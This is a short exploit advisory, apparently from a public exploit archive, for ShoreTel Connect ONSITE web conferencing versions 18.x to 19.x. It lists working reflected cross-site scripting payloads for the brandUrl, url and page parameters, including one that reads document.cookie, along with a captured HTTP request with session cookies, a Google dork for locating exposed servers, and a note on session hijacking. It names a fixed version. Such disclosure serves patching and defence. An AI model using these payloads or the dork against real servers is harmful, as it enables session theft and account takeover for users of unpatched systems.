ShoreTel Connect ONSITE Cross Site Scripting / Session Fixation

`# Exploit Title: Shoretel Connect Multiple Vulnerability  
# Google Dork: inurl:/signin.php?ret=  
# Date: 14/06/2017  
# Author: Ramikan  
# Vendor Homepage: https://www.shoretel.com/  
# Software Link: https://www.shoretel.com/resource-center/shoretel-connect-onsite-overview  
# Version: Tested on 18.62.2000.0, 19.45.5101.0, 19.47.9000.0, 19.48.8400.0 can be affected on other versions.  
# Tested on: Mozila Firefox 53.0.3 (32 bit) Browser  
# CVE :CVE-2019-9591, CVE-2019-9592, CVE-2019-9593  
# Category:Web Apps  
  
  
Vulnerability: Reflected XSS and Session Fixation  
Vendor Web site: http://support.shoretel.com  
Version tested:18.62.2000.0, Version 19.45.1602.0, 19.45.5101.0, 19.47.9000.0, 19.48.8400.0  
Google dork: inurl:/signin.php?ret=  
Solution: Update to 19.49.1500.0  
  
  
  
Vulnerability 1:Refelected XSS & Form Action Hijacking  
  
Affected URL:  
  
/signin.php?ret=http%3A%2F%2Fdomainname.com%2F%3Fpage%3DACCOUNT&&brand=4429769&brandUrl=https://domainname.com/site/l8o5g--><script>alert(1)</script>y0gpy&page=ACCOUNT  
  
Affected Parameter: brandUrl  
  
  
Vulnerability 2: Reflected XSS  
  
Affected URL:  
  
/index.php/" onmouseover%3dalert(document.cookie) style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b  
  
Affected Parameter: url  
Affected Version 19.45.1602.0  
  
  
Vulnerability 3: Reflected XSS  
  
/site/?page=jtqv8"><script>alert(1)</script>bi14e  
  
Affected Parameter: page  
Affected Version:18.82.2000.0  
  
GET /site/?page=jtqv8"><script>alert(1)</script>bi14e HTTP/1.1  
Host: hostnamem  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-GB,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://bdrsconference.bdrs.com/signin.php  
Cookie: PHPSESSID=2229e3450f16fcfb2531e2b9d01b9fec; chkcookie=1508247199505  
Connection: close  
Upgrade-Insecure-Requests: 1  
Cache-Control: max-age=0  
  
Vulnerability 4: Session Hijacking  
  
By exploiting the above XSS vulnerability, the attacker can obtain the valid session cookies of a authenticated user and hijack the session.  
  
PHPSESSID, chkcookie both cookies are insecure.  
`